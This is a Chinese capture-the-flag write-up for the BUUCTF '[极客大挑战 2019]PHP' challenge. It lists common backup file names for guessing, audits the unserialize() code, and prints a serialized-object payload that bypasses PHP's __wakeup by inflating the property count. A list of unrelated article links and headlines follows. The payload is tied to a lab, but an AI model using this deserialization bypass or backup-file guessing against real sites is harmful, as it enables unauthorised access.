当前位置: 首页 > news >正文

2025.2.11——一、[极客大挑战 2019]PHP wakeup绕过|备份文件|代码审计

题目来源:BUUCTF  [极客大挑战 2019]PHP

目录

一、打开靶机,整理信息

二、解题思路

step 1:目录扫描、爆破

step 2:代码审计

1.index.php

2.class.php

3.flag.php

step 3:绕过__wakeup重置

​编辑

三、小结


一、打开靶机,整理信息

        根据题目名称php,以及页面的备份网站的提示,这里应该有下载备份文件,里面应该有php文件要进行代码审计

二、解题思路

step 1:目录扫描、爆破

目录扫描文件太多了,找不到有用信息,可以尝试输入网站源码备份文件,看看能不能碰对

常见的网站源码备份文件后缀:

tar、tgz、zip、rar、bak、7z

常见的网站源码备份文件名:

web、website、backup、back、www、wwwroot、temp

爆破一下

        url传参看看,得到一个压缩文件夹,点进去得到一堆源码文件

        整理一下进行代码审计

step 2:代码审计

1.index.php

index.php主要是设计,有用信息已经摘抄了

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

        文件包含class.php文件,并且是GET传参,参数为select,然后将其进行反序列化

2.class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{

    //设置两个私有变量
    private $username = 'nonono';
    private $password = 'yesyes';

    //利用__construct构造函数,在创建对象时初始化$username和$password属性
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    //当对象被反序列化时,__wakeup方法会被自动调用,将$username重置为guest
    function __wakeup(){
        $this->username = 'guest';
    }

    //当对象被销毁时,__destruct方法会被自动调用
    function __destruct(){
        if ($this->password != 100) {  //检查password是否等于100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {  //如果password等于100,则进一步检查username是否等于admin,等于则输出flag
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

代码总结:要想输出flag信息,就要绕过__wakeup重置,并且password要等于100,username要等于admin

3.flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

        什么也不是

step 3:绕过__wakeup重置

        根据上面代码审计结果,用脚本得到payload,脚本来源:[极客大挑战 2019]PHP 1_php 在线挑战-CSDN博客

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>

序列化结果有未显示字符,另外绕过wakeup方法要让成员属性数目大于实际数目

当成员属性数目大于实际数目时可绕过wakeup方法

        所以要将序列化结果中的2改为3,将未显示字符变为%00,再传参

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

        得到flag

三、小结

1.常见的网站源码备份文件后缀:

tar、tgz、zip、rar、bak、7z

常见的网站源码备份文件名:

web、website、backup、back、www、wwwroot、temp

2.当成员属性数目大于实际数目时可绕过wakeup方法

相关文章:

  • 联合汽车电子嵌入式面试题及参考答案
  • wordpress主题制作
  • Java面试题——事务
  • 部署onlyoffice后,php版的callback及小魔改(logo和关于)
  • 算法刷题-数组系列-卡码网.区间和
  • Maven 中常用的 scope 类型及其解析
  • OPEN CODER : THE OPEN COOKBOOK FOR TOP -TIER CODE LARGE LANGUAGE MODELS
  • udp和tcp的区别
  • 6.深度学习在推荐系统中的应用
  • 学习数据结构(9)栈和队列上
  • RabbitMQ 如何设置限流?
  • 前沿科技改变生活新趋势
  • 掌握 systemd:Linux 服务管理的核心工具
  • C++病毒(^_^|)(2)
  • Android Handler的机制跟源码分析
  • Android 系统面试问题
  • MySQL主从同步+binlog
  • 同为科技智能PDU助力Deepseek人工智能和数据交互的快速发展
  • 【python】简单的flask做页面。一组字母组成的所有单词。这里的输入是一组字母,而输出是所有可能得字母组成的单词列表
  • 21道关于Vue3的面试题及其解析
  • 印巴冲突升级,巴基斯坦股市重挫7.29%,创5年来最大单日跌幅
  • 上海“随申兑”服务平台有哪些功能?已归集800余个惠企政策
  • 黄仁勋:中国AI市场将达500亿美元,美国企业若无法参与是巨大损失
  • 美政府称不再对哈佛大学提供联邦资助
  • “注胶肉”或已泛滥?这几种肉,再爱吃也要管住嘴
  • 100%关税!特朗普要让美国电影100%美国制造